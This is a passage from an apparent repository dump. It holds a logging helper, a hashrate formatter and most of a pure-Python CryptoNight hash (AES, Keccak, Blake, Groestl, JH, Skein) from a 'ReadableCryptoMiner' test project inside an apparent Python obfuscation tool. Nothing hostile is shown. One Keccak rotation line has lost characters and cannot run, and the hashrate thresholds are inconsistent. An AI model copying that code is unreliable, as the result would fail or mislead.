12 |
13 | def log(message, level):
14 | if not DEBUG and level in [LEVEL_DEBUG, LEVEL_PROTOCOL]:
15 | return
16 |
17 | print("[%s] %s" % (time.strftime("%Y-%m-%d %H:%M:%S"), message))
18 |
19 |
20 | def human_readable_hashrate(hr):
21 | """Returns a human readable representation of hashrate."""
22 |
23 | if hr < 1000:
24 | return "%2f hashes/s" % hr
25 | if hr < 10000000:
26 | return "%2f khashes/s" % (hr / 1000)
27 | if hr < 10000000000:
28 | return "%2f Mhashes/s" % (hr / 1000000)
29 | return "%2f Ghashes/s" % (hr / 1000000000)
30 |
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/crypto_primitives/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/ReadableCryptoMiner/crypto_primitives/__init__.py
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/crypto_primitives/block_ciphers.py:
--------------------------------------------------------------------------------
1 |
2 | def dummy():
3 | pass
4 |
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/crypto_primitives/hash_functions.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/ReadableCryptoMiner/crypto_primitives/hash_functions.py
--------------------------------------------------------------------------------
/测试项目/ReadableCryptoMiner/crypto_primitives/slow_hash_lgplv3.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | __author__ = "Patrik Lundin / Thomas Eder"
3 | __copyright__ = "Copyright 2018, nothisispatrik.com"
4 | __license__ = "LGPL v3. Algorithms/constants may be (C) 2014-2018 The Monero project or (C) 2012-2014 The Cryptonote Developers. All code is original"
5 | __email__ = "patrik@nothisispatrik.com / thomas@gaudia-tech.com"
6 | __status__ = "Prototype"
7 | __doc__ = """
8 |
9 | This is a Python implementation of the cryptonight slow hash. It includes a
10 | short run_tests() with an example call. It is based on (and was checked against)
11 | the original Monero Project code (https://github.com/monero-project/monero)
12 | with and without the 2018 April hard fork variant.
13 |
14 | First version was written for Python 2.7 by Patrik Lundin,
15 | port to Python 3.6 + several tweaks were brought by Thomas Eder
16 |
17 | The cryptonight algorithm remains extremely slow,
18 | around 0.03 hashes per second on a regular i5 CPU.
19 | As such, it's meant more as a consise summary
20 | of the algorithm than usefully runnable code. It's not particularly
21 | optimized, and where possible prior optimization has been removed.
22 |
23 | There are no outside dependencies (except "time" which is only used
24 | in the example) with everything reimplemented in pure python, including
25 | AES, Keccak, Blake, Groestl, JH, and Skein.
26 | """
27 |
28 |
29 | from functools import reduce
30 |
31 |
32 | # Single AES round, no round key (can be xor:ed in after)
33 |
34 | # Here implemented using TBoxes, which is relativily fast, but
35 | # vulnerable to cache-timing attacks. Not safe for other purposes.
36 | def round(b):
37 | def col(c1, c2, c3, c4):
38 | t = S1[c1] ^ S2[c2] ^ S3[c3] ^ S4[c4]
39 | t1 = t >> 0 & 255
40 | t2 = t >> 8 & 255
41 | t3 = t >> 16 & 255
42 | t4 = t >> 24 & 255
43 | return (
44 | t1, t2, t3, t4)
45 |
46 | b = col(b[0], b[5], b[10], b[15]) + col(b[4], b[9], b[14], b[3]) + col(b[8], b[13], b[2], b[7]) + col(b[12], b[1], b[6], b[11])
47 | return b
48 |
49 | # AES key expansion.
50 |
51 | # Specific to CN:s ten rounds. Presumes that round keys follow
52 | # rc(n+1) = rc(n)<<1, which isn't true generally.
53 | def kexp(k):
54 | xk = [
55 | 0] * 160
56 | xk[:32] = k[:32]
57 | cs = 32
58 | rc = 1
59 | while cs < 160:
60 | t = xk[cs - 4:cs]
61 | if cs % 32 == 0:
62 | t = [
63 | SBox[t[1]] ^ rc, SBox[t[2]], SBox[t[3]], SBox[t[0]]]
64 | rc *= 2
65 | else:
66 | if cs % 32 == 16:
67 | t = [
68 | SBox[t[0]], SBox[t[1]], SBox[t[2]], SBox[t[3]]]
69 | xk[cs:(cs + 4)] = [
70 | xk[cs - 32 + 0] ^ t[0],
71 | xk[cs - 32 + 1] ^ t[1],
72 | xk[cs - 32 + 2] ^ t[2],
73 | xk[cs - 32 + 3] ^ t[3]]
74 | cs += 4
75 |
76 | return xk
77 |
78 | # expand result from initial Keccac into a 2Mb scratchad by
79 | # repeatedly 10 round AES:ing a chunk of data.
80 | def asplode(kec):
81 | xkey = kexp(kec[:32])
82 | st = kec[64:192]
83 | xk = [ xkey[i:i + 16] for i in range(0, len(xkey), 16) ]
84 | pad = []
85 | while len(pad) < 2097152:
86 | for j in range(0, len(st), 16):
87 | t = st[j:j + 16]
88 | for i in range(10):
89 | t = round(t)
90 | t = [ a ^ b for a, b in zip(t, xk[i]) ]
91 | pad.extend(t)
92 | st = pad[-128:]
93 | return pad
94 |
95 | # combine final scratchpad into a single block again by xoring and
96 | # then 10 round AESing the blocks over each other one at a time
97 | def implode(pad,kec):
98 | xkey = kexp(kec[32:64])
99 | xk = [ xkey[i:i + 16] for i in range(0, len(xkey), 16) ]
100 | st = kec[64:192]
101 | for p in range(0,len(pad),128):
102 | for i in range(128):
103 | st[i] ^= pad[p+i]
104 | for i in range(0,128,16):
105 | for r in range(10):
106 | st[i:i+16] = round(st[i:i+16])
107 | for j in range(16):
108 | st[i+j] ^= xk[r][j]
109 |
110 | kec[64:192] = st
111 | return kec
112 |
113 | # Do the memhard loop. Starting two blocks, read another from scratch pad
114 | # do an AES round on it, xor it by some things, write it back. Then use
115 | # a value from that to read another block, do two 64 bit mul:s and two
116 | # 64 bit adds, some more xors, and write that back. Start over and do it
117 | # again 1<<19 times.
118 | def memhrd(pad, kec, variant=0, tw=[0]*8):
119 |
120 | # convert a series of bytes into two 64 bit words and multiply them
121 | # return as 8 bytes
122 | def mul(a, b):
123 | t1 = a[0] << 0 | a[1] << 8 | a[2] << 16 | a[3] << 24 | a[4] << 32 | a[5] << 40 | a[6] << 48 | a[7] << 56
124 | t2 = b[0] << 0 | b[1] << 8 | b[2] << 16 | b[3] << 24 | b[4] << 32 | b[5] << 40 | b[6] << 48 | b[7] << 56
125 | r = t1 * t2
126 | r1 = r >> 64
127 | r2 = r & 0xffffffffffffffff
128 | return [ r1&255, (r1>>8)&255, (r1>>16)&255, (r1>>24)&255, (r1>>32)&255, (r1>>40)&255, (r1>>48)&255, (r1>>56)&255, r2&0xff, (r2>>8)&255, (r2>>16)&255,(r2>>24)&255, (r2>>32)&255, (r2>>40)&255, (r2>>48)&255, (r2>>56)&255 ]
129 |
130 | # Convert two blocks into four 64 bit numbers and pairwise add them,
131 | # no overflow. Swap order and convert back into bytes
132 | def sumhlf(a, b):
133 | ta1 = a[0] << 0 | a[1] << 8 | a[2] << 16 | a[3] << 24 | a[4] << 32 | a[5] << 40 | a[6] << 48 | a[7] << 56
134 | ta2 = a[8] << 0 | a[9] << 8 | a[10] << 16 | a[11] << 24 | a[12] << 32 | a[13] << 40 | a[14] << 48 | a[15] << 56
135 | tb1 = b[0] << 0 | b[1] << 8 | b[2] << 16 | b[3] << 24 | b[4] << 32 | b[5] << 40 | b[6] << 48 | b[7] << 56
136 | tb2 = b[8] << 0 | b[9] << 8 | b[10] << 16 | b[11] << 24 | b[12] << 32 | b[13] << 40 | b[14] << 48 | b[15] << 56
137 | r1,r2 = (ta1 + tb1 & 18446744073709551615, ta2 + tb2 & 18446744073709551615)
138 | return [ r1&255, (r1>>8)&255, (r1>>16)&255, (r1>>24)&255, (r1>>32)&255, (r1>>40)&255, (r1>>48)&255, (r1>>56)&255, r2&0xff, (r2>>8)&255, (r2>>16)&255,(r2>>24)&255, (r2>>32)&255, (r2>>40)&255, (r2>>48)&255, (r2>>56)&255 ]
139 |
140 | # xor two blocks
141 | def blxor(a, b):
142 | return [ t1 ^ t2 for t1, t2 in zip(a, b) ]
143 |
144 | # pull 17 bits from a block for use as an address in the scratchpad.
145 | # Zeroes out the 4 LSB rather than dividing, making it useful as an
146 | # index in the pad directly. >>4 instead of &.. would give a block
147 | # index, which could then later be <<4 to give an actual location.
148 | def toaddr(a):
149 | return (a[2] << 16 | a[1] << 8 | a[0]) & 2097136
150 |
151 | # make the first two indexes
152 | A = blxor(kec[0:16], kec[32:48])
153 | B = blxor(kec[16:32], kec[48:64])
154 |
155 | for i in range(1<<19):
156 | t = toaddr(A)
157 | C = pad[t:t + 16]
158 | C = round(C)
159 | C = blxor(C, A)
160 | pad[t:(t + 16)] = blxor(B, C)
161 |
162 | # After the Apr 2018 hardfork, this will be/was
163 | # added to the loop. This is equivalent to VARIANT1_1
164 | # in the original C.
165 | if variant:
166 | a = pad[t+11]
167 | a = (~a&1)<<4 | ((~a&1)<<4 & a)<<1 | (a&32)>>1
168 | pad[t+11] ^= a
169 |
170 | B = C
171 | t = toaddr(C)
172 | C = pad[t:t + 16]
173 |
174 | P = mul(B, C)
175 | A = sumhlf(A, P)
176 | pad[t:(t + 16)] = A
177 | # this is the second variant add in, equivalent of VARIENT1_2 in
178 | # C.
179 | if variant:
180 | for i in range(8):
181 | pad[t+i+8] ^= tw[i]
182 | A = blxor(A, C)
183 |
184 | return pad
185 |
186 | # Calculate 1600 bit keccak hash from a 200b input.
187 | # This isn't equivalent to the final SHA3 version.
188 | # I don't remember how exactly, but don't expect it to be.
189 | def keccak(inp):
190 | def rol(b,n):
191 | return ((b<>(64-n))
192 |
193 | s = [sum(a[i]<<(i<<3) for i in range(8)) for a in [inp[i:i+8] for i in range(0,200,8)]]
194 |
195 | xo = [ 0x0000000000000001, 0x0000000000008082, 0x800000000000808a,
196 | 0x8000000080008000, 0x000000000000808b, 0x0000000080000001,
197 | 0x8000000080008081, 0x8000000000008009, 0x000000000000008a,
198 | 0x0000000000000088, 0x0000000080008009, 0x000000008000000a,
199 | 0x000000008000808b, 0x800000000000008b, 0x8000000000008089,
200 | 0x8000000000008003, 0x8000000000008002, 0x8000000000000080,
201 | 0x000000000000800a, 0x800000008000000a, 0x8000000080008081,
202 | 0x8000000000008080, 0x0000000080000001, 0x8000000080008008 ]
203 |
204 | ro = [ 1, 3, 6, 10, 15, 21, 28, 36, 45, 55, 2, 14,
205 | 27, 41, 56, 8, 25, 43, 62, 18, 39, 61, 20, 44 ]
206 |
207 | pn = [ 10, 7, 11, 17, 18, 3, 5, 16, 8, 21, 24, 4,
208 | 15, 23, 19, 13, 12, 2, 20, 14, 22, 9, 6, 1 ]
209 |
210 | for r in range(24):
211 | b0 = s[0]^s[5]^s[10]^s[15]^s[20]
212 | b1 = s[1]^s[6]^s[11]^s[16]^s[21]
213 | b2 = s[2]^s[7]^s[12]^s[17]^s[22]
214 | b3 = s[3]^s[8]^s[13]^s[18]^s[23]
215 | b4 = s[4]^s[9]^s[14]^s[19]^s[24]
216 |
217 | t = b4 ^ rol(b1,1)
218 | s[0] ^=t ; s[5] ^=t ; s[10] ^=t ; s[15] ^=t ; s[20] ^=t
219 | t = b0 ^ rol(b2,1)
220 | s[1] ^=t ; s[6] ^=t ; s[11] ^=t ; s[16] ^=t ; s[21] ^=t
221 | t = b1 ^ rol(b3,1)
222 | s[2] ^=t ; s[7] ^=t ; s[12] ^=t ; s[17] ^=t ; s[22] ^=t
223 | t = b2 ^ rol(b4,1)
224 | s[3] ^=t ; s[8] ^=t ; s[13] ^=t ; s[18] ^=t ; s[23] ^=t
225 | t = b3 ^ rol(b0,1)
226 | s[4] ^=t ; s[9] ^=t ; s[14] ^=t ; s[19] ^=t ; s[24] ^=t
227 |
228 | t = s[1]
229 | for i in range(24):
230 | j = pn[i]
231 | t2 = s[j]
232 | s[j] = rol(t, ro[i])
233 | t = t2
234 |
235 | for j in range(0,24,5):
236 | b0 = s[j ];
237 | b1 = s[j + 1];
238 | b2 = s[j + 2];
239 | b3 = s[j + 3];
240 | b4 = s[j + 4];
241 | s[j ] ^= (b1^0xffffffffffffffff) & b2;
242 | s[j + 1] ^= (b2^0xffffffffffffffff) & b3;
243 | s[j + 2] ^= (b3^0xffffffffffffffff) & b4;
244 | s[j + 3] ^= (b4^0xffffffffffffffff) & b0;
245 | s[j + 4] ^= (b0^0xffffffffffffffff) & b1;
246 |
247 | s[0] ^= xo[r]
248 |
249 | b = reduce(lambda a,b:a+b,[[((a>>(c<<3))&255) for c in range(8)] for a in s])
250 | return b
251 |
252 | # Blake hash. Assumes 200b input, produces 32b output
253 |
254 | def blake(data):
255 | K=[0x243F6A88,0x85A308D3,0x13198A2E,0x03707344,0xA4093822,0x299F31D0,0x082EFA98,0xEC4E6C89,0x452821E6,0x38D01377,0xBE5466CF,0x34E90C6C,0xC0AC29B7,0xC97C50DD,0x3F84D5B5,0xB5470917]
256 | h=[0x6A09E667,0xBB67AE85,0x3C6EF372,0xA54FF53A,0x510E527F,0x9B05688C,0x1F83D9AB,0x5BE0CD19]
257 | S = blakeS # Constant from bottom of file
258 | data = data+[0x80] + [0x00]*46 + [0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x40]
259 | for (o,t) in [(0,512), (64,1024), (128,1536), (192,1600)]:
260 | m = [ ((data[o+i+0]<<24))|
261 | ((data[o+i+1]<<16))|
262 | ((data[o+i+2]<<8))|
263 | ((data[o+i+3]<<0)) for i in range(0,64,4)]
264 | v = [0]*16
265 | v[ 0: 8] = [h[i] for i in range(8)]
266 | v[ 8:16] = [K[i] for i in range(8)]
267 | v[ 8:12] = [v[8+i] for i in range(4)]
268 | v[12] = v[12] ^ t
269 | v[13] = v[13] ^ t
270 |
271 | ror = lambda x,n: (x >> n) | ((x << (32-n)) & 0xFFFFFFFF)
272 | for round in range(14):
273 | i = 0
274 | for (a, b, c, d) in [
275 | ( 0, 4, 8,12), ( 1, 5, 9,13), ( 2, 6,10,14),
276 | ( 3, 7,11,15), ( 0, 5,10,15), ( 1, 6,11,12),
277 | ( 2, 7, 8,13), ( 3, 4, 9,14) ]:
278 | p,q = S[round][i], S[round][i+1]
279 | i += 2
280 |
281 | v[a] = ((v[a] + v[b]) + (m[p] ^ K[q]) ) & 0xFFFFFFFF
282 | v[d] = ror( v[d] ^ v[a], 16)
283 | v[c] = (v[c] + v[d]) & 0xFFFFFFFF
284 | v[b] = ror( v[b] ^ v[c], 12)
285 |
286 | v[a] = ((v[a] + v[b]) + (m[q] ^ K[p]) ) & 0xFFFFFFFF
287 | v[d] = ror( v[d] ^ v[a], 8)
288 | v[c] = (v[c] + v[d]) & 0xFFFFFFFF
289 | v[b] = ror( v[b] ^ v[c], 7)
290 |
291 | h = [h[i]^v[i]^v[i+8] for i in range(8)]
292 | rv = reduce(lambda a,b:a+b,[[(h[i]>>24)&255, (h[i]>>16)&255, (h[i]>>8)&255, (h[i]>>0)&255] for i in range(8)])
293 | return rv
294 |
295 | # Groestl hash. Assumes 200b input, produces 32b output
296 | def groestl(inp):
297 | def col(x,y,i,c0,c1,c2,c3,c4,c5,c6,c7):
298 | T = groestlT # Constant from bottom of file
299 | y[i] = T[0*256+((x[c0]>>0 )&255)] ^ T[1*256+((x[c1]>>8 )&255)] ^ T[2*256+((x[c2]>>16)&255)] ^ T[3*256+((x[c3]>>24)&255)] ^ T[4*256+((x[c4]>>0 )&255)] ^ T[5*256+((x[c5]>>8 )&255)] ^ T[6*256+((x[c6]>>16)&255)] ^ T[7*256+((x[c7]>>24)&255)]
300 |
301 | def P(x,y,r):
302 | x[ 0] ^= 0x00000000^r
303 | x[ 2] ^= 0x00000010^r
304 | x[ 4] ^= 0x00000020^r
305 | x[ 6] ^= 0x00000030^r
306 | x[ 8] ^= 0x00000040^r
307 | x[10] ^= 0x00000050^r
308 | x[12] ^= 0x00000060^r
309 | x[14] ^= 0x00000070^r
310 | col(x,y, 0, 0, 2, 4, 6, 9, 11, 13, 15)
311 | col(x,y, 1, 9, 11, 13, 15, 0, 2, 4, 6)
312 | col(x,y, 2, 2, 4, 6, 8, 11, 13, 15, 1)
313 | col(x,y, 3, 11, 13, 15, 1, 2, 4, 6, 8)
314 | col(x,y, 4, 4, 6, 8, 10, 13, 15, 1, 3)
315 | col(x,y, 5, 13, 15, 1, 3, 4, 6, 8, 10)
316 | col(x,y, 6, 6, 8, 10, 12, 15, 1, 3, 5)
317 | col(x,y, 7, 15, 1, 3, 5, 6, 8, 10, 12)
318 | col(x,y, 8, 8, 10, 12, 14, 1, 3, 5, 7)
319 | col(x,y, 9, 1, 3, 5, 7, 8, 10, 12, 14)
320 | col(x,y,10, 10, 12, 14, 0, 3, 5, 7, 9)
321 | col(x,y,11, 3, 5, 7, 9, 10, 12, 14, 0)
322 | col(x,y,12, 12, 14, 0, 2, 5, 7, 9, 11)
323 | col(x,y,13, 5, 7, 9, 11, 12, 14, 0, 2)
324 | col(x,y,14, 14, 0, 2, 4, 7, 9, 11, 13)
325 | col(x,y,15, 7, 9, 11, 13, 14, 0, 2, 4)
326 |
327 | def Q(x,y,r):
328 | x[ 0] = x[ 0] ^ 0xffffffff
329 | x[ 1] ^= 0xffffffff^r
330 | x[ 2] = x[ 2] ^ 0xffffffff
331 | x[ 3] ^= 0xefffffff^r
332 | x[ 4] = x[ 4] ^ 0xffffffff
333 | x[ 5] ^= 0xdfffffff^r
334 | x[ 6] = x[ 6] ^ 0xffffffff
335 | x[ 7] ^= 0xcfffffff^r
336 | x[ 8] = x[ 8] ^ 0xffffffff
337 | x[ 9] ^= 0xbfffffff^r
338 | x[10] = x[10] ^ 0xffffffff
339 | x[11] ^= 0xafffffff^r
340 | x[12] = x[12] ^ 0xffffffff
341 | x[13] ^= 0x9fffffff^r
342 | x[14] = x[14] ^ 0xffffffff
343 | x[15] ^= 0x8fffffff^r
344 | col(x,y, 0, 2, 6, 10, 14, 1, 5, 9, 13)
345 | col(x,y, 1, 1, 5, 9, 13, 2, 6, 10, 14)
346 | col(x,y, 2, 4, 8, 12, 0, 3, 7, 11, 15)
347 | col(x,y, 3, 3, 7, 11, 15, 4, 8, 12, 0)
348 | col(x,y, 4, 6, 10, 14, 2, 5, 9, 13, 1)
349 | col(x,y, 5, 5, 9, 13, 1, 6, 10, 14, 2)
350 | col(x,y, 6, 8, 12, 0, 4, 7, 11, 15, 3)
351 | col(x,y, 7, 7, 11, 15, 3, 8, 12, 0, 4)
352 | col(x,y, 8, 10, 14, 2, 6, 9, 13, 1, 5)
353 | col(x,y, 9, 9, 13, 1, 5, 10, 14, 2, 6)
354 | col(x,y,10, 12, 0, 4, 8, 11, 15, 3, 7)
355 | col(x,y,11, 11, 15, 3, 7, 12, 0, 4, 8)
356 | col(x,y,12, 14, 2, 6, 10, 13, 1, 5, 9)
357 | col(x,y,13, 13, 1, 5, 9, 14, 2, 6, 10)
358 | col(x,y,14, 0, 4, 8, 12, 15, 3, 7, 11)
359 | col(x,y,15, 15, 3, 7, 11, 0, 4, 8, 12)
360 |
361 | def F(h,m):
362 | Ptmp = [0]*16;
363 | Qtmp = [0]*16;
364 | y = [0]*16;
365 | z = [0]*16;
366 |
367 | for i in range(16):
368 | z[i] = m[i]
369 | Ptmp[i] = h[i]^m[i]
370 |
371 | Q(z, y, 0x00000000)
372 | Q(y, z, 0x01000000)
373 | Q(z, y, 0x02000000)
374 | Q(y, z, 0x03000000)
375 | Q(z, y, 0x04000000)
376 | Q(y, z, 0x05000000)
377 | Q(z, y, 0x06000000)
378 | Q(y, z, 0x07000000)
379 | Q(z, y, 0x08000000)
380 | Q(y, Qtmp, 0x09000000)
381 |
382 | P(Ptmp, y, 0x00000000)
383 | P(y, z, 0x00000001)
384 | P(z, y, 0x00000002)
385 | P(y, z, 0x00000003)
386 | P(z, y, 0x00000004)
387 | P(y, z, 0x00000005)
388 | P(z, y, 0x00000006)
389 | P(y, z, 0x00000007)
390 | P(z, y, 0x00000008)
391 | P(y, Ptmp, 0x00000009)
392 |
393 | for i in range(16):
394 | h[i] ^= Ptmp[i]^Qtmp[i]
395 |
396 | buf = [0]*16
397 | tmp = [0]*16
398 | y = [0]*16
399 | z = [0]*16
400 | d = [0]*16
401 |
402 | d[15] = 0x00010000
403 | data = [
404 | (inp[i+3]<<24)| (inp[i+2]<<16)| (inp[i+1]<<8)| (inp[i+0]<<0)
405 | for i in range(0,len(inp),4) ] + [0x80] + [0]*12 + [4<<24]
406 |
407 | F(d,data[0:16])
408 | F(d,data[16:32])
409 | F(d,data[32:48])
410 | F(d,data[48:64])
411 |
412 | tmp = d[:16]
413 | P(tmp, y, 0x00000000)
414 | P(y, z, 0x00000001)
415 | P(z, y, 0x00000002)
416 | P(y, z, 0x00000003)
417 | P(z, y, 0x00000004)
418 | P(y, z, 0x00000005)
419 | P(z, y, 0x00000006)
420 | P(y, z, 0x00000007)
421 | P(z, y, 0x00000008)
422 | P(y, tmp, 0x00000009)
423 |
424 | rv = [d[j] ^ tmp[j] for j in range(8,16)]
425 | rv = reduce(lambda a,b:a+b,[[a&255,(a>>8)&255, (a>>16)&255, (a>>24)&255] for a in rv])
426 | return rv
427 |
428 | # JH hash, Assumes 200b input, produces 32b output
429 | def jh(data):
430 | hashval = [32]
431 | A = [0]*256
432 | rc = [0]*64
433 | rcx = [0]*256
434 | tmp = [0]*256
435 | S = [[9,0,4,11,13,12,3,15,1,10,2,6,7,5,8,14],[3,12,6,13,5,7,1,9,15,2,0,4,11,10,14,8]]
436 | rc0 = [0x6,0xa,0x0,0x9,0xe,0x6,0x6,0x7,0xf,0x3,0xb,0xc,0xc,0x9,0x0,0x8,0xb,0x2,0xf,0xb,0x1,0x3,0x6,0x6,0xe,0xa,0x9,0x5,0x7,0xd,0x3,0xe,0x3,0xa,0xd,0xe,0xc,0x1,0x7,0x5,0x1,0x2,0x7,0x7,0x5,0x0,0x9,0x9,0xd,0xa,0x2,0xf,0x5,0x9,0x0,0xb,0x0,0x6,0x6,0x7,0x3,0x2,0x2,0xa]
437 | d = [254,0,64,128,255,254]
438 |
439 | H = [1]+[0]*127
440 |
441 | for b in d:
442 | if b<=128:
443 | for i in range(64):
444 | H[i] ^= data[b+i]
445 | elif b==255:
446 | H[:8] = [H[i]^data[192+i] for i in range(8)]
447 | H[8] ^= 128
448 | rc = rc0[:]
449 |
450 | for i in range(256):
451 | t0 = (H[i>>3] >> (7 - (i & 7)) ) & 1
452 | t1 = (H[(i+256)>>3] >> (7 - (i & 7)) ) & 1
453 | t2 = (H[(i+512 )>>3] >> (7 - (i & 7)) ) & 1
454 | t3 = (H[(i+768 )>>3] >> (7 - (i & 7)) ) & 1
455 | tmp[i] = (t0 << 3) | (t1 << 2) | (t2 << 1) | (t3 << 0)
456 | for i in range(128):
457 | A[i << 1] = tmp[i]
458 | A[(i << 1)+1] = tmp[i+128]
459 |
460 | for r in range(42):
461 | for i in range(256):
462 | rcx[i] = (rc[i >> 2] >> (3 - (i & 3)) ) & 1
463 | for i in range(256):
464 | tmp[i] = S[rcx[i]][A[i]]
465 | for i in range(0,256,2):
466 | t0 = tmp[i+1]^(((tmp[i]<<1)^(tmp[i]>>3)^((tmp[i]>>2)&2))&0xf)
467 | t1 = tmp[i+0]^(((t0<<1)^(t0>>3)^((t0>>2)&2))&0xf)
468 | t2 = (i>>1)&1
469 | tmp[i+t2^1] = t0
470 | tmp[i+t2] = t1
471 | for i in range(128):
472 | A[i] = tmp[i<<1]
473 | A[(i+128)^1] = tmp[(i<<1)+1]
474 | for i in range(64):
475 | tmp[i] = S[0][rc[i]]
476 | for i in range(0,64,2):
477 | tmp[i+1] ^= ((tmp[i]<<1)^(tmp[i]>>3)^((tmp[i]>>2)&2))&0xf
478 | tmp[i] ^= ((tmp[i+1]<<1)^(tmp[i+1]>>3)^((tmp[i+1]>>2)&2))&0xf
479 | for i in range(0,64,4):
480 | t = tmp[i+2]
481 | tmp[i+2] = tmp[i+3]
482 | tmp[i+3] = t
483 | for i in range(32):
484 | rc[i] = tmp[i<<1]
485 | rc[(i+32)^1] = tmp[(i<<1)+1]
486 |
487 | for i in range(128):
488 | tmp[i] = A[i << 1]
489 | tmp[i+128] = A[(i << 1)+1]
490 | for i in range(128):
491 | H[i] = 0
492 | for i in range(256):
493 | t0 = (tmp[i] >> 3) & 1
494 | t1 = (tmp[i] >> 2) & 1
495 | t2 = (tmp[i] >> 1) & 1
496 | t3 = (tmp[i] >> 0) & 1
497 | H[i>>3] |= t0 << (7 - (i & 7))
498 | H[(i + 256)>>3] |= t1 << (7 - (i & 7))
499 | H[(i + 512)>>3] |= t2 << (7 - (i & 7))
500 | H[(i + 768)>>3] |= t3 << (7 - (i & 7))
501 |
502 | if b<=128:
503 | for i in range(64):
504 | H[i+64] ^= data[b+i]
505 | elif(b==255):
506 | for i in range(8):
507 | H[64+i] ^= data[192+i]
508 | H[8+64] ^= 128
509 | H[63] ^= 64
510 | H[62] ^= 6
511 | H[127] ^= 64
512 | H[126] ^= 6
513 | return H[96:]
514 |
515 | # Skein hash. Assumes 200b input, produces 32b output
516 | def skein(data):
517 | def M(x): # Mask down to 64 bin
518 | return x & 0xffffffffffffffff
519 | def R64(x, p, n): # Rotate left, 64 bit
520 | x[p] = M((x[p] << n) | (x[p] >> (64-n)))
521 | def Add(x, a, b): # 64 bit add, no overflow
522 | x[a] = M(x[a]+x[b])
523 |
524 | def R512(X,p0,p1,p2,p3,p4,p5,p6,p7,q):
525 | Rk = [ [46, 36, 19, 37], [33, 27, 14, 42], [17, 49, 36, 39], [44, 9, 54, 56], [39, 30, 34, 24], [13, 50, 10, 17], [25, 29, 39, 43], [ 8, 35, 56, 22]]
526 |
527 | Add(X,p0,p1)
528 | R64(X,p1,Rk[q][0])
529 | X[p1] ^= X[p0]
530 |
531 | Add(X,p2,p3)
532 | R64(X,p3,Rk[q][1])
533 | X[p3] ^= X[p2]
534 |
535 | Add(X,p4,p5)
536 | R64(X,p5,Rk[q][2])
537 | X[p5] ^= X[p4]
538 |
539 | Add(X,p6,p7)
540 | R64(X,p7,Rk[q][3])
541 | X[p7] ^= X[p6]
542 |
543 | # Skein types and lengths. Since it's just five blocks, always
544 | # same length and such, they're constant. Here as TYPE | LEN,
545 | # as it is stored in Skeins T(2)
546 | LC = [ 0x7000000000000040, 0x3000000000000080, 0x30000000000000c0,
547 | 0xb0000000000000c8, 0xff00000000000008 ]
548 | # Init vector. Specific to 512-256 hash
549 | L = [ 0,0,0, 0xCCD044A12FDB3E13, 0xE83590301A79A9EB,
550 | 0x55AEA0614F816E6F, 0x2A2767A4AE9B94DB, 0xEC06025E74DD7683,
551 | 0xE7A436CDC4746251, 0xC36FBAF9393AD185, 0x3EEDBA1833EDFC13, 0]
552 | # Keeper of data. Extra length so that after the 200b we send,
553 | # there's enough zeros for another full block, and, for the
554 | # OUT+FINAL block, one with all zeros.
555 | b = [0]*35
556 | # Offset to current data. Hops around
557 | w = 0
558 | # Temp state data
559 | X = [0]*8;
560 | # fill b up with 8b words
561 | for i in range(25):
562 | b[i] = (
563 | (data[(i*8)+0]<<0)|
564 | (data[(i*8)+1]<<8)|
565 | (data[(i*8)+2]<<16)|
566 | (data[(i*8)+3]<<24)|
567 | (data[(i*8)+4]<<32)|
568 | (data[(i*8)+5]<<40)|
569 | (data[(i*8)+6]<<48)|
570 | (data[(i*8)+7]<<56))
571 | # Each block..
572 | for i in range(5):
573 | # T2 = T1^T0, like we stored
574 | L[2] = LC[i]
575 | # T0 = length. Extract with &0xff
576 | L[0] = L[2]&255;
577 | # T2 = type+flags. Exract by removing T0
578 | L[1] = L[2]^L[0];
579 | # Parity + magic constant.
580 | L[11] = L[3]^L[4]^L[5]^L[6]^L[7]^L[8]^L[9]^L[10]^0x1BD11BDAA9FC1A22;
581 | # Next chunk
582 | w = ((i&3)<<3)+25*(i>>2);
583 | # Init X
584 | for R in range(8):
585 | X[R]= M(b[w+R] + L[R+3])
586 | X[5]=M(X[5]+L[0])
587 | X[6]=M(X[6]+L[1])
588 |
589 | # Rounds
590 | for R in range(0,18,2):
591 | R512(X,0,1,2,3,4,5,6,7,0)
592 | R512(X,2,1,4,7,6,5,0,3,1)
593 | R512(X,4,1,6,3,0,5,2,7,2)
594 | R512(X,6,1,0,7,2,5,4,3,3)
595 | for j in range(8):
596 | X[j] = M(X[j]+L[3+((R+j+1)%9)])
597 | X[5] = M(X[5]+L[(R+1)%3])
598 | X[6] = M(X[6]+L[(R+2)%3])
599 | X[7] = M(X[7]+R+1)
600 | R512(X,0,1,2,3,4,5,6,7,4)
601 | R512(X,2,1,4,7,6,5,0,3,5)
602 | R512(X,4,1,6,3,0,5,2,7,6)
603 | R512(X,6,1,0,7,2,5,4,3,7)
604 | for j in range(8):
605 | X[j] = M(X[j]+L[3+((R+j+2)%9)])
606 | X[5] = M(X[5]+L[(R+2)%3])
607 | X[6] = M(X[6]+L[(R+3)%3])
608 | X[7] = M(X[7]+R+2)
609 |
610 | # Back into state w/ round results
611 | for R in range(8):
612 | L[3+R] = X[R] ^ b[w+R]
613 |
614 | # Done, convert to bytes and shove into h
615 | h = []
616 | for i in range(4):
617 | h.extend( [
618 | (L[i+3]>>0)&255,
619 | (L[i+3]>>8)&255,
620 | (L[i+3]>>16)&255,
621 | (L[i+3]>>24)&255,
622 | (L[i+3]>>32)&255,
623 | (L[i+3]>>40)&255,
624 | (L[i+3]>>48)&255,
625 | (L[i+3]>>56)&255] )
626 |
627 | return h
628 |
629 | # All of the preceeding hash functions are de-generalized to presume
630 | # input length and to only produce specific output length. The will not
631 | # function correctly under other circumstances.
632 |
633 |
634 | # The main cryptonight hash function. Takes 76 bytes input (without
635 | # verifying that) and outputs the final 32 byte hash. Both input
636 | # and output are arrays of 8 bit integers. If "quiet" is set False,
637 | # it'll print what it's doing through off and on the steps. If
638 | # "variant" is set to 1, it'll work as it's supposed to after the
639 | # Apr 2018 hard fork, otherwise as it's supposed to before.
640 | def cn_slow_hash(inp,quiet=0,variant=0):
641 | tw = [0]*8
